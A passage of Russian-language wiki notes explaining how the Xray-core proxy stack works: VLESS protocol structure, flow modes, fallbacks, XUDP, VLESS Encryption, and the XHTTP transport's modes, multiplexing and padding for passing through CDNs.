мультиплексор — премия пропадает, но **сам Vision продолжает работать**: паддинг рукопожатия применяется в любом случае, теряется только ускорение. Одна деталь, важная для понимания: `xorpub` splice **не ломает**, хотя его часто записывают в один ряд с `random`. Отдельный XOR-слой создаёт только `random`; `xorpub` лишь маскирует публичные ключи внутри рукопожатия и оставляет соединение обычным. ## Три запрета, о которые спотыкаются чаще всего **`fallbacks` и VLESS Encryption вместе — отказ старта.** Не деградация, не предупреждение: конфиг не собирается, и Xray не поднимет вообще ни одного входа из этого файла. Если вход маскируется под настоящий сайт через nginx, включить на нём `decryption` нельзя — нужен отдельный вход. **Vision и UDP.** VLESS-команда UDP при `flow=xtls-rprx-vision` отклоняется с ошибкой «xtls-rprx-vision doesn't support UDP». Это не значит, что UDP-приложения не работают: они едут через XUDP поверх мультиплексора. А QUIC на порт 443 Vision намеренно блокирует, чтобы браузер откатился на HTTPS поверх TCP и трафик не ушёл мимо туннеля; снять это поведение можно значением `xtls-rprx-vision-udp443`. **Vision и mux.** Формального запрета в конфиге нет — более того, именно через mux работает XUDP. Но обычный TCP-поток внутри mux при Vision **обрывает всё мультиплексированное соединение**: в коде это прокомментировано словами «we will break Mux connections that contain TCP requests». Плюс любой mux-воркер безусловно выключает splice. Практический вывод: mux и Vision в одном профиле — источник плавающих обрывов, а не оптимизация. ## Частые заблуждения > [!warning] «REALITY уже шифрует, значит encryption не нужен» > Верно ровно до тех пор, пока между вами и сервером нет посредника, который расшифровывает внешний слой. Через CDN или транзитный узел REALITY/TLS заканчивается **не на вашем сервере**, и там VLESS-заголовок с UUID и адресом назначения виден в открытом виде. Разбор — в [[xray/vless-encryption|VLESS Encryption]]. > [!warning] «Включу encryption вместо REALITY — станет незаметнее» > Наоборот. VLESS Encryption не меняет внешний вид соединения, а RPRX прямо пишет, что для прохода через файрвол нужны REALITY, XHTTP и Vision. Более того, при `security: none` соединение выглядит как поток случайных байтов — а именно такой трафик китайский GFW детектирует энтропийным классификатором. > [!warning] «Vision — это шифрование» > Нет. Vision — правило передачи уже зашифрованного потока: набивка рукопожатия и отказ от повторного шифрования. Название сбивает с толку из-за букв «TLS» в слове XTLS. Три значения слова «XTLS» разведены в [[xray/xtls-vision|отдельной заметке]]. > [!warning] «Vision работает только на TCP» > Так было до конца августа 2025. Сейчас точнее так: Vision работает на прямом TCP с TLS/REALITY **или** на любом транспорте, если включён VLESS Encryption. А вот **splice** действительно остался привилегией прямого TCP, причём голого — без надстроенных сверху TLS и REALITY. ## Как собрать конфиг под задачу - **Свой сервер, прямое подключение, максимум скорости** — RAW TCP + REALITY + `flow=xtls-rprx-vision`, `encryption=none`. Здесь Vision разворачивает соединение до сырого сокета и включается ядерный splice. - **Через CDN (Cloudflare)** — XHTTP + TLS + VLESS Encryption + `flow=xtls-rprx-vision` и XMUX. Шифрование здесь не роскошь: без него CDN читает ваш UUID и адреса назначения. WebSocket тоже работает, но это запасной вариант: RPRX советует для CDN именно XHTTP с XMUX, а не «WS + Mux», ядро с декабря 2024 печатает для WebSocket предупреждение об устаревании, и REALITY с ним всё равно не собрать — только обычный TLS. - **Транзит через чужой узел, каскад, окружение без TLS** — любой транспорт + VLESS Encryption; `security` может быть `none`, этот запрет ядра снимается именно наличием шифрования. - **Максимальная совместимость с разнородными клиентами** — RAW TCP + REALITY, `encryption=none`, `flow` по возможности `xtls-rprx-vision`. Клиенты на upstream-версии sing-box не поймут VLESS Encryption вовсе. > [!note] Где splice всё-таки включается > Конфигураций две, и обе требуют голого TCP: `RAW TCP + TLS или REALITY + Vision` при `encryption=none` — и `RAW TCP + security: none + VLESS Encryption` в режиме `native` либо `xorpub` с Vision. Совместить внешний REALITY и внутреннее шифрование, сохранив splice, нельзя: ядро разворачивает ровно один слой. ## 📚 См. также - [[xray/vless-encryption|VLESS Encryption]] — что это за слой, как читать строку параметра, помогает ли против ТСПУ и GFW - [[xray/xtls-vision|XTLS и Vision]] — механика паддинга и прямого копирования по байтам, четыре поколения XTLS - [[xray/vless|Протокол VLESS]] — формат заголовка, `fallbacks`, XUDP, стандарт ссылок - [[xray/reality|REALITY]] — маскировка под чужой сайт и защита от активного зондирования - [[xray/xhttp|XHTTP]] — как транспорт проходит через CDN и чем режимы отличаются - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY]] — поведенческий детект, uTLS, mux и практические шаги - [[xray/authors-v2ray-xray|Кто стоит за V2Ray и Xray]] — про RPRX, чьи решения определяют почти все настройки из этой карты - [[protocols/00-overview|Обзор протоколов]] — те же три слоя, но для всех протоколов сразу - 🔗 [config: outbounds/vless](https://xtls.github.io/en/config/outbounds/vless.html) — официальная формулировка про доступность XTLS - 🔗 [config: inbounds/vless](https://xtls.github.io/en/config/inbounds/vless.html) — синтаксис `decryption`, `flow`, `fallbacks` --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/xray/vless-stack-map.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-17 tags: - xray - vless - xtls - reality - protocol - censorship aliases: - VLESS - Протокол VLESS - VLESS protocol link: https://xtls.github.io/en/development/protocols/vless.html --- # 🔷 Протокол VLESS: устройство и возможности > [!info] О чём заметка > Подробный разбор **протокола VLESS** — транспортного прокси-протокола ядра [[xray/project-x|Xray-core]], на котором сегодня строится большинство серверов обхода блокировок. Здесь — как устроен протокол на уровне байтов, что умеет поле `flow`, зачем нужны fallbacks, XUDP и новое встроенное пост-квантовое шифрование. История самого проекта и технологий REALITY/XTLS — в обзорной заметке [[xray/project-x|Project X (Xray-core)]]; как современный DPI детектит связку VLESS+REALITY — в [[VLESS/dpi-tls-june-2026|разборе схемы ограничений июня 2026]]. ## TL;DR - **VLESS** — облегчённый (stateless) прокси-протокол, преемник **VMess**. Придуман разработчиком RPRX внутри проекта [[xray/project-x|Project X]]. - **Это прокси, а не VPN.** VLESS переносит отдельные соединения («соедини меня с `youtube.com:443`»), а не IP-пакеты, и виртуальный сетевой интерфейс ему не нужен: хватает локального SOCKS5 на `127.0.0.1`. TUN-адаптер — это отдельный механизм перехвата поверх протокола, тот самый «режим VPN» из интерфейсов: у Xray-core для него с января 2026 есть собственный инбаунд `"protocol": "tun"`, а на мобильных интерфейс создаёт система и передаёт ядру. Разбор различия и его практических следствий — в [[protocols/00-overview|обзоре протоколов]]. - Ключевая идея: **сам протокол ничего не шифрует и не маскирует**. Аутентификация — по одному UUID, а конфиденциальность делегируется внешнему слою (TLS, [[xray/reality|REALITY]]) и flow-контролю ([[xray/xtls-vision|XTLS-Vision]]). - Убрана времязависимая аутентификация VMess: не нужна синхронизация часов, протокол проще и быстрее. - Умеет **flow** (`xtls-rprx-vision` против детекта TLS-in-TLS), **fallbacks** (маскировка под настоящий сайт и защита от зондирования), **XUDP** (полноценный UDP с Full Cone NAT), работает поверх TCP/XHTTP/WebSocket/gRPC/mKCP. - С сентября 2025 (релиз v25.9.5) у VLESS появилось **собственное пост-квантовое шифрование** (ML-KEM-768 + X25519) — оно снимает жёсткое требование внешнего TLS и защищает от расшифровки «сейчас запишем — потом расшифруем». ## Что такое VLESS и чем он отличается от VMess VLESS расшифровывается неформально как «VMess Less» — «VMess без лишнего». Это транспортный протокол: он отвечает только за то, чтобы аутентифицировать клиента и сказать серверу, куда переслать трафик. Всё остальное — шифрование, маскировку под легитимный трафик, обход DPI — берут на себя слои ниже. У предшественника, **VMess**, был собственный жёсткий криптографический контур с проверкой времени: клиент и сервер должны были иметь синхронизированные часы (расхождение более ±90 секунд ломало соединение), плюс отдельная «аутентификация ответа». Это усложняло протокол и создавало проблемы на устройствах с плывущими часами. VLESS от этого отказался. Вместо временной метки — простое поле версии в начале запроса, вместо встроенного шифрования — расчёт на внешний TLS/REALITY. Проще говоря: VMess пытался быть «самодостаточной крепостью» со своим шифрованием и часами, а VLESS — это лёгкий «скелет», который сознательно отдаёт защиту специализированным слоям, которые делают её лучше (настоящий TLS 1.3 неотличим от обычного HTTPS, а собственное шифрование VMess — нет). ## Формат протокола на уровне байтов Разбор основан на [dev-документации VLESS](https://xtls.github.io/en/development/protocols/vless.html) и коде `proxy/vless/encoding` в [Xray-core](https://github.com/XTLS/Xray-core/tree/main/proxy/vless/encoding). Заголовок **запроса** идёт последовательно: | Поле | Размер | Что это | |---|---|---| | Version | 1 байт | Версия протокола (0 в тестовых сборках, 1 в релизах) | | UUID | 16 байт | Идентификатор пользователя; сервер сверяет его при каждом соединении | | Addons Length + Addons | 1 байт + N | Protobuf-данные переменной длины; несут, в частности, значение `flow`. Если addons не нужны — длина 0, накладных расходов нет | | Command | 1 байт | Команда: TCP / UDP / MUX | | Port | 2 байта | Порт назначения | | Address Type + Address | 1 байт + N | Тип адреса (IPv4 / домен / IPv6) и сам адрес | Заголовок **ответа** минимален: версия (совпадает с запросом), затем Addons и данные. > [!note] Почему это важно для маскировки > Заголовок VLESS предельно компактен и не содержит ничего криптографически «шумного» — никаких временных меток или хешей, выдающих протокол. Всё, что видит DPI снаружи, — это уже обёрнутый TLS/REALITY-трафик. Сам заголовок VLESS появляется только *внутри* зашифрованного канала, где его не видно. ## Поле flow: XTLS-Vision против детекта TLS-in-TLS `flow` — поле в addons, которое включает режим XTLS flow-control. Именно оно решает проблему двойного шифрования «TLS внутри TLS» (подробный разбор самой идеи XTLS, механики паддинга/splice и разграничения терминов — в заметке [[xray/xtls-vision|XTLS и Vision]]). Актуальные значения ([config outbounds/vless](https://xtls.github.io/en/config/outbounds/vless.html)): - **пусто / нет поля** — обычное проксирование через TLS без XTLS. Простое и совместимое, но паттерн «TLS-in-TLS» детектируем. - **`xtls-rprx-vision`** — текущий рекомендуемый режим. Добавляет случайный паддинг во внутреннее рукопожатие (inner handshake random padding), размывая характерные длины TLS-записей вложенного соединения. Дополнительно перехватывает UDP на порт 443 (QUIC), заставляя браузер откатываться на обычный HTTPS поверх TCP — иначе часть трафика ушла бы мимо туннеля. - **`xtls-rprx-vision-udp443`** — то же самое, но **без** перехвата UDP 443: QUIC пропускается как есть. > [!warning] Старые значения flow удалены > Ранние режимы `xtls-rprx-origin`, `xtls-rprx-direct`, `xtls-rprx-splice` **устарели и удалены**. Примерно с версии 1.7.5 они выдавали предупреждение, а с 1.8.0 `direct` объявлен deprecated в пользу Vision. Современный Xray-core при загрузке конфига со старым flow падает с ошибкой вроде `Please use VLESS flow "xtls-rprx-vision" with TLS or REALITY`. Точную привязку к версиям стоит сверять по [Releases](https://github.com/XTLS/Xray-core/releases). Механизм `splice` (zero-copy передача через ядро Linux) при этом никуда не делся — он остался внутренней оптимизацией Vision, а не отдельным значением flow. XTLS-Vision доступен в двух случаях: в связке TCP+TLS или TCP+[[xray/reality|REALITY]] (тогда для TLS 1.3 он умеет напрямую копировать уже зашифрованные данные без повторного шифрования) — либо при включённом [[xray/vless-encryption|VLESS Encryption]], и тогда ограничений на нижележащий транспорт нет вовсе. Сводная матрица «какая комбинация транспорта, `security`, `flow` и `encryption` работает» — в [[xray/vless-stack-map|карте слоёв VLESS-стека]]. ## Fallbacks: маскировка под настоящий сайт **Fallback** — механизм VLESS inbound, который перенаправляет «неправильный» трафик на другое назначение (обычно на настоящий веб-сервер вроде nginx). Требует связки TCP+TLS. Источник: [features/fallback](https://xtls.github.io/en/config/features/fallback.html). Зачем это нужно: - **Защита от активного зондирования (active probing).** Цензор отправляет на подозрительный сервер обычный HTTP/TLS-запрос, чтобы проверить, прокси это или нет. Без fallback такой запрос ни на что не похож; с fallback он уходит на реальный сайт, и зонд получает нормальную веб-страницу — сервер выглядит как обычный HTTPS-хост. - **Разделение одного порта.** На 443-м порту одновременно живут и прокси, и настоящий сайт. Xray «подглядывает» первый пакет и выбирает наиболее точное правило `FallbackObject` по полям: `name` (сопоставление с TLS SNI), `alpn` (фактически согласованный ALPN), `path` (HTTP PATH, должен начинаться с `/`), `dest` (куда переслать), `xver` (отправлять ли PROXY protocol, чтобы бэкенд видел реальный IP клиента). Правило выбирается по точности совпадения, а не по порядку в конфиге. > [!warning] Fallbacks несовместимы с новым шифрованием > `fallbacks` нельзя использовать одновременно с `decryption`, отличным от `none`, то есть с включённым [[xray/vless-encryption|VLESS Encryption]] (см. ниже) — придётся выбрать что-то одно. Само по себе `"decryption": "none"` с `fallbacks` сочетается нормально. Причём это не мягкая деградация: конфиг не проходит сборку с ошибкой `VLESS settings: "fallbacks" can not be used together with "decryption"`, и Xray **не запускается вообще** — вместе с ним падают все остальные входы из этого файла. ## Транспорты и слой безопасности VLESS — это только логика протокола; он работает поверх транспортного слоя (`type`/`network`): - **TCP (RAW)** — базовый транспорт; единственный, где XTLS-Vision получает ядерный `splice`, и единственный, где Vision работает **без** [[xray/vless-encryption|VLESS Encryption]]. - **[[xray/xhttp|XHTTP]]** — новый HTTP-транспорт (пришёл на смену старому h2/SplitHTTP), дружит с CDN. - **WebSocket (ws)** — совместим с CDN и обычными веб-серверами. - **gRPC** — параметр `serviceName`. - **mKCP (kcp)** — на базе UDP, с коррекцией ошибок (FEC). - **HTTPUpgrade** — лёгкий транспорт на HTTP-Upgrade. Слой безопасности (`security`): **`none`**, **`tls`** или **`reality`**. На практике VLESS почти всегда используют с `tls` или `reality`. С версии v26.7.11 (июль 2026, пока пре-релиз) значение `none` перестало быть просто нежелательным и стало **ошибкой конфигурации на стороне клиента**: ядро отказывается собирать исходящее соединение с сообщением `vless without TLS or other encryption is prohibited unless the server address is a private IP or domain`. Серверный вход с такой схемой пока стартует. Снять запрет можно двумя способами — приватный адрес назначения либо включённое [[xray/vless-encryption|VLESS Encryption]]. ## XUDP и Mux.Cool: полноценный UDP По умолчанию проксировать UDP (игры, звонки, P2P) сложно из-за NAT. **XUDP** — расширение мультиплексора Mux.Cool, которое даёт **Full Cone NAT** поверх VLESS. Источники: [Discussion #252](https://github.com/XTLS/Xray-core/discussions/252), [Mux.Cool spec](https://xtls.github.io/en/development/protocols/muxcool.html). - XUDP появился в **Xray-core v1.3.0**: агрегирует UDP-потоки в туннель и переносит адрес/порт внутри Mux-фрейма. При v1.3.0+ на обоих концах VLESS по умолчанию работает в режиме Full Cone через публичный IP сервера, независимо от локального NAT клиента. - **Global ID / настоящий Full Cone** (примерно с v1.8.1): даже после разрыва TCP (например при смене сети) сервер сохраняет тот же исходящий порт для UDP-источника — критично для P2P-приложений. - **UDP 443 (QUIC):** параметр `xudpProxyUDP443` (`skip`/`allow`/`reject`) управляет судьбой QUIC-трафика. Часто его намеренно не пускают в туннель — Vision вынуждает браузер использовать HTTPS поверх TCP, что уменьшает утечки и нагрузку. Проще говоря: без XUDP UDP-приложения за прокси часто ломались из-за строгого NAT; XUDP делает так, что все они видят «открытый» интернет через публичный IP сервера. ## VLESS Encryption: встроенное пост-квантовое шифрование (2025) Долгое время у VLESS не было **никакого** собственного шифрования — только внешний TLS/REALITY. Это изменил **VLESS Encryption**, добавленный в [PR #5067](https://github.com/XTLS/Xray-core/pull/5067) (автор RPRX, влит 28 августа 2025) и вышедший в стабильном релизе **Xray-core v25.9.5** от 5 сентября 2025. Полный разбор — формат строки параметра, криптография, режимы внешнего вида, совместимость клиентов и польза против блокировок — в отдельной заметке [[xray/vless-encryption|VLESS Encryption]]. Здесь только суть. - **Собственное шифрование без внешнего TLS.** VLESS может работать при `security: none`, сохраняя конфиденциальность и forward secrecy. Метод называется `mlkem768x25519plus`, задаётся полем `decryption` на сервере и `encryption` на клиенте, генерируется командой `xray vlessenc`. - **Пост-квантовая стойкость.** Эфемерный обмен ключами — гибрид **ML-KEM-768** (пост-квантовый механизм инкапсуляции ключа) **и X25519**; аутентификация сервера отдельным ключом, на выбор X25519 или ML-KEM-768. Это защита от атаки «harvest now, decrypt later» («сейчас запишем — потом расшифруем»). - **Снимает ограничение Vision на транспорт.** С VLESS Encryption `flow=xtls-rprx-vision` работает поверх [[xray/xhttp|XHTTP]], WebSocket и gRPC, а не только на прямом TCP. - **Главный сценарий — посредник.** Через CDN и транзитные узлы внешний TLS терминируется не на вашем сервере, и открытый заголовок VLESS (UUID, адрес назначения) виден посреднику. Внутреннее шифрование это закрывает. > [!warning] Оговорки, о которые спотыкаются на практике > Автор прямо пишет, что VLESS Encryption **не предназначен для прямого обхода цензуры**: собственный внешний вид у него есть (`native`, `xorpub`, `random` плюс настраиваемая набивка), но лежит он внутри туннеля, поэтому наблюдателю снаружи виден внешний слой — для маскировки нужны REALITY, XHTTP и Vision. Кроме того: `decryption` несовместим с `fallbacks` (Xray вообще не стартует), ядро **sing-box** этот механизм не поддерживает (то есть Hiddify, NekoBox for Android, Karing), а старые клиенты после серверной миграции обрываются или зависают без внятной ошибки. ## Формат ссылок vless:// Стандарт share-ссылок ([Discussion #716](https://github.com/XTLS/Xray-core/discussions/716)): ``` vless://@:?<параметры>#<название> ``` Значения параметров URL-кодируются. Ключевые параметры: - `type` — транспорт: `tcp`, `kcp`, `ws`, `http`, `grpc`, `httpupgrade`, `xhttp`. - `security` — `none` / `tls` / `reality`. - `encryption` — по умолчанию `none`; может нести `mlkem768x25519plus...`. - `flow` — например `xtls-rprx-vision`. - REALITY/TLS: `sni`, `fp` (fingerprint, по умолчанию `chrome`), `pbk` (публичный ключ REALITY, обязателен), `sid` (short ID). - Транспортные: `path`, `host`, `serviceName`. ## Ограничения и критика > [!warning] Что стоит держать в голове > - **Без внешнего TLS/REALITY (или без [[xray/vless-encryption|VLESS Encryption]]) трафик уязвим** — «голый» VLESS ничего не шифрует. С июля 2026 ядро прямо запрещает такую конфигурацию на публичный адрес. > - **UUID — единственная аутентификация**, статичная и без временной метки. При утечке UUID доступ получает кто угодно; защита от повторов (anti-replay) есть только в 0-RTT-режиме нового VLESS Encryption, но не в базовом протоколе. > - **Устойчивость к DPI зависит от обвязки, а не от протокола.** Неправильная связка (без Vision, без REALITY) детектируется по TLS-паттернам — см. [[VLESS/dpi-tls-june-2026|разбор DPI-эвристик июня 2026]]. > - **Историческая путаница с flow.** Быстро устаревавшие `origin`/`direct`/`splice` → `vision` создавали проблемы совместимости конфигов между версиями Xray. ## 📚 См. также - [[xray/vless-encryption|VLESS Encryption]] — подробный разбор встроенного пост-квантового шифрования: строка параметра, криптография, миграция, польза против блокировок - [[xray/vless-stack-map|Слои VLESS-стека]] — матрица «что с чем работает»: транспорт, `security`, `flow`, `encryption` и когда включается splice - [[xray/project-x|Project X (Xray-core)]] — история проекта, XTLS, REALITY, экосистема - [[xray/xtls-vision|XTLS и Vision]] — что такое поле `flow` и чем XTLS отличается от VLESS/REALITY - [[xray/reality|REALITY]] — слой безопасности, маскировка под чужой сайт - [[xray/xhttp|XHTTP]] — транспорт через CDN - [[xray/clients-and-routing|Клиенты и маршрутизация]] — как подключиться клиентом и развести трафик - [[VLESS/dpi-tls-june-2026|DPI TLS heuristics 2026]] — как DPI детектит VLESS+REALITY поведенчески - [[protocols/vmess|VMess]] — предшественник VLESS: `alterId`, режим AEAD и почему от собственного шифрования отказались - [[protocols/00-overview|Обзор протоколов]] — карта: какой протокол какую задачу решает и какое ядро его поддерживает - [[VLESS-SOCKS5-vulnerability]] и [[VLESS-localhost-protection-guide]] — риски неправильной настройки - 🔗 [Спецификация VLESS (dev docs)](https://xtls.github.io/en/development/protocols/vless.html) — первоисточник формата - 🔗 [config: inbounds/vless](https://xtls.github.io/en/config/inbounds/vless.html) · [outbounds/vless](https://xtls.github.io/en/config/outbounds/vless.html) — справка по конфигу - 🔗 [VLESS Encryption](https://xraycore.org/en/misc/vless-encryption/) — пост-квантовое шифрование --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/xray/vless.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-17 tags: - xray - xhttp - splithttp - transport - cdn - censorship aliases: - XHTTP - SplitHTTP - Xray XHTTP transport link: https://github.com/XTLS/Xray-core/tree/main/transport/internet/splithttp --- # 📡 XHTTP: транспорт Xray, притворяющийся обычным веб-трафиком > [!info] О чём заметка > Подробный разбор транспорта **XHTTP** (раньше назывался **SplitHTTP**) в [[xray/project-x|Xray-core]] — как он заворачивает прокси-трафик в обычные HTTP-запросы, чтобы пройти сквозь CDN вроде Cloudflare, и в чём разница между его режимами `packet-up`, `stream-up` и `stream-one`. Разбор основан на чтении исходного кода `transport/internet/splithttp/` (внутреннее имя пакета осталось `splithttp`, публичное название — XHTTP). XHTTP — это транспорт (как переносить), он ортогонален протоколу [[xray/vless|VLESS]] и слою безопасности [[xray/reality|REALITY]]. ## TL;DR - **XHTTP** — транспорт, который упаковывает поток прокси в обычные HTTP GET/POST-запросы. Для CDN и наблюдателя это выглядит как штатное веб-приложение. - «Split» в старом названии = **разделение направлений**: скачивание (download) и отправка (upload) идут разными HTTP-запросами, потому что HTTP по своей природе полудуплексный, и промежуточные узлы (CDN, nginx) плохо переносят долгие двунаправленные потоки. - Три режима: **`packet-up`** (аплинк дробится на кучу коротких POST — самый CDN-дружелюбный), **`stream-up`** (аплинк одним длинным POST, даунлинк отдельным GET), **`stream-one`** (всё в одном дуплексном запросе — для REALITY напрямую, без CDN). - **XMUX** мультиплексирует много логических сессий в одно физическое соединение и ротирует соединения — как настоящий браузер. - Маскировка усиливается паддингом, заголовками «под fetch/gRPC/SSE» и анти-буферными заголовками, отключающими кэширование на CDN. ## Зачем нужен XHTTP: пройти сквозь CDN Основная задача XHTTP — прогнать прокси-трафик **через CDN** (сеть доставки контента, например Cloudflare). Смысл в том, что цензору очень дорого блокировать CDN целиком: за одним IP Cloudflare стоят миллионы легальных сайтов. Если прокси-трафик неотличим от обычных запросов к сайту за CDN, заблокировать его точечно почти невозможно. Но CDN — капризная среда: она понимает только валидный HTTP, не любит долгие двунаправленные соединения, буферизует и кэширует ответы. Поэтому нельзя просто пустить туда произвольный TCP-туннель. XHTTP устроен так, чтобы выглядеть как настоящее веб-приложение, которое грузит данные POST-запросами и получает ответ GET-запросом. Проще говоря: XHTTP переодевает прокси-туннель в костюм обычного сайта, да так тщательно, что даже придирчивый охранник-CDN пропускает его как своего. ## «Split»: почему upload и download — разные запросы Один логический дуплексный туннель (VLESS поверх транспорта) в коде представлен структурой `splitConn` — это соединение с **раздельными** `reader` (входящий поток) и `writer` (исходящий). Название «Split» отражает главную идею: два направления физически разнесены на разные HTTP-запросы. Причина в природе HTTP: тело запроса естественно течёт вверх (клиент → сервер), тело ответа — вниз. Полноценный одновременный дуплекс в одном HTTP-обмене возможен только по HTTP/2 или HTTP/3 и плохо переживает промежуточные прокси. Поэтому: - **Download (сервер → клиент)** — один длинный GET, тело ответа которого стримится бесконечно. - **Upload (клиент → сервер)** — либо одно длинное тело POST, либо множество коротких POST (зависит от режима). Сессию на сервере склеивает общий `sessionId`: GET-запрос даунлинка и все POST-запросы аплинка с одинаковым `sessionId` относятся к одному туннелю. ## Три режима работы Режим задаётся полем `mode`. Значение `auto` (по умолчанию) раскрывается так: обычно → `packet-up`; при включённом [[xray/reality|REALITY]] → `stream-one`; а если при REALITY задан отдельный канал скачивания (`downloadSettings`) → `stream-up`. ### packet-up — самый CDN-дружелюбный Аплинк нарезается на **множество коротких независимых POST-запросов**, каждый несёт кусок данных с порядковым номером `seq`. Даунлинк — отдельный длинный GET. Почему это лучше всего проходит через CDN: короткие POST + один GET не требуют полного дуплекса, который многие CDN не поддерживают. Но есть сложность — независимые POST приходят на сервер **в произвольном порядке** (через CDN они могут идти по разным бэкенд-соединениям). Поэтому каждый POST помечен монотонным `seq`, а сервер восстанавливает исходный порядок. За пересборку отвечает `upload_queue.go` — очередь с приоритетом (min-heap по `seq`): пакеты выдаются наверх строго по возрастанию номера, «опоздавшие» копятся в куче и ждут недостающий. Если куча разрастается сверх лимита (`scMaxBufferedPosts`, по умолчанию 30) — соединение рвётся, чтобы потерянный пакет не съел всю память. На стороне клиента есть важная оптимизация — **батчинг**: множество мелких `Write` склеиваются в буфере в один POST покрупнее (иначе пропускная способность резко падает). Между POST выдерживается пауза `scMinPostsIntervalMs` (по умолчанию 30 мс) — заодно сбивает фингерпринт по таймингу. ### stream-up — аплинк потоком Аплинк идёт **одним длинным потоковым POST** (тело не закрывается, данные текут), даунлинк — отдельным GET. Может использовать разные адреса и транспорты для отправки и скачивания (через `downloadSettings`). Это разделение «загружаю через один канал, качаю через другой». ### stream-one — всё в одном запросе И аплинк, и даунлинк идут в рамках **одного HTTP-обмена**: тело запроса — вверх, тело ответа — вниз, одновременно. Это истинный дуплекс, требующий HTTP/2 или HTTP/3. Идеален для REALITY напрямую (без CDN), где полный дуплекс гарантирован. `sessionId` здесь не нужен — сессия и есть один запрос. | Режим | Uplink | Downlink | Где хорош | |---|---|---|---| | `packet-up` | много коротких POST с `seq` | отдельный длинный GET | через CDN, HTTP/1.1 | | `stream-up` | одно длинное тело POST | отдельный GET | раздельные каналы up/down | | `stream-one` | тело одного запроса | тело того же ответа | REALITY напрямую, h2/h3 | ## XMUX: мультиплексирование как у браузера **XMUX** управляет тем, сколько HTTP-запросов туннеля мультиплексируется в одно нижележащее (TCP/QUIC) соединение и когда соединения переиспользуются или закрываются. Смысл — вести себя как настоящий браузер: тот держит несколько долгих HTTP/2-соединений и гоняет по ним много параллельных запросов, периодически их обновляя. Ключевые лимиты (все задаются диапазонами и рандомизируются): - **`maxConcurrency`** — сколько запросов одновременно активны на одном соединении. - **`maxConnections`** — сколько соединений держать в пуле. - **`cMaxReuseTimes`** — сколько раз одно соединение можно переиспользовать. - **`hMaxRequestTimes`** — сколько всего запросов провести через соединение, прежде чем сменить его. - **`hMaxReusableSecs`** — временной лимит жизни соединения. Когда соединение исчерпало лимит запросов или время жизни — клиент переключается на свежее. Ротация соединений экономит TLS-рукопожатия и одновременно мешает фингерпринтить прокси по аномально долгоживущим соединениям. ## Маскировка: паддинг и «правильные» заголовки XHTTP старательно имитирует легитимный HTTP-трафик несколькими способами: - **XPadding** — случайный заполнитель (`xPaddingBytes`, по умолчанию 100–1000 байт) размывает характерные размеры запросов и ответов. Есть даже режим `tokenish`, который подгоняет паддинг под нужную длину *после* сжатия заголовков HPACK/QPACK, чтобы на проводе он занимал ровно заданное число байт. По умолчанию паддинг прячется в query-параметр `x_padding` внутри заголовка `Referer`. - **Заголовки под браузер** — запросы по умолчанию имитируют браузерный `fetch`. - **Маскировка под gRPC** — потоковые запросы помечаются `Content-Type: application/grpc`. - **Маскировка под SSE** — даунлинк-ответ помечается `Content-Type: text/event-stream` (Server-Sent Events). - **Анти-буферные заголовки** — `X-Accel-Buffering: no` и `Cache-Control: no-store` отключают буферизацию и кэширование на nginx/CDN. Это критично: иначе CDN накопил бы стрим в кэше и сломал интерактивность. Метаданные (`sessionId`, `seq`) и даже саму полезную нагрузку XHTTP умеет раскладывать по разным частям запроса — в путь URL, query, заголовки или cookie (настраивается через `sessionIDPlacement`, `seqPlacement`, `uplinkDataPlacement`). При размещении данных в заголовках/cookie они кодируются base64url и режутся на чанки. Это даёт гибкость под требования конкретного CDN. ## Как XHTTP сочетается с TLS и REALITY XHTTP — это транспорт уровня приложения (HTTP), а шифрование задаётся отдельно, в общих настройках потока (`streamSettings`), а не внутри самого XHTTP. Слой безопасности — обычный TLS (через uTLS с фингерпринтом браузера) или [[xray/reality|REALITY]]. Выбор версии HTTP зависит от слоя безопасности: при REALITY — всегда HTTP/2; без TLS — HTTP/1.1; иначе по согласованному ALPN (`h3` → HTTP/3, иначе HTTP/2). Именно поэтому при REALITY автоматический режим — `stream-one` (полный дуплекс гарантирован), а через произвольный CDN по HTTP/1.1 безопаснее `packet-up`. > [!note] XHTTP и Vision: раньше не совмещались, теперь совмещаются через VLESS Encryption > Долгое время правило звучало просто: [[xray/xtls-vision|XTLS-Vision]] работает только поверх прямого TLS/REALITY по TCP, поэтому в связке с XHTTP flow `xtls-rprx-vision` не использовался, и приходилось выбирать один подход к маскировке из двух. С сентября 2025 это изменилось: если включить [[xray/vless-encryption|VLESS Encryption]], Vision становится доступен поверх XHTTP и других транспортов — документация Xray описывает XTLS как доступный либо при `TCP + TLS/REALITY`, либо при VLESS Encryption без ограничений на транспорт. Оговорка: ядерный `splice` через XHTTP всё равно не включится — он работает только поверх голого TCP. Остальное Vision делает исправно: и набивку внутреннего рукопожатия, и отказ от повторного шифрования уже зашифрованного TLS 1.3, так что выигрыш по процессору сохраняется и здесь. Рекомендация автора Xray для связок через CDN звучит как «VLESS Encryption + XTLS Vision + XHTTP XMUX». Разбор комбинаций — в [[xray/vless-stack-map|карте слоёв VLESS-стека]]. ## Ключевые параметры конфига | Параметр | Что это | |---|---| | `mode` | Режим: `auto` / `packet-up` / `stream-up` / `stream-one` | | `path` | Базовый URL-путь запросов | | `host` | Значение заголовка `Host` / SNI | | `headers` | Дополнительные HTTP-заголовки | | `scMaxEachPostBytes` | Макс. размер тела одного upload-POST (по умолчанию 1 000 000) | | `scMinPostsIntervalMs` | Мин. пауза между POST (по умолчанию 30 мс) | | `scMaxBufferedPosts` | Глубина очереди пересборки (по умолчанию 30) | | `xPaddingBytes` | Диапазон длины паддинга (по умолчанию 100–1000) | | `noGRPCHeader` / `noSSEHeader` | Отключить маскировку под gRPC / SSE | | `xmux` | Настройки мультиплексирования (см. выше) | | `downloadSettings` | Отдельный транспорт/адрес для канала скачивания | ## 📚 См. также - [[xray/vless|Протокол VLESS]] — протокол, который переносится поверх XHTTP - [[xray/vless-encryption|VLESS 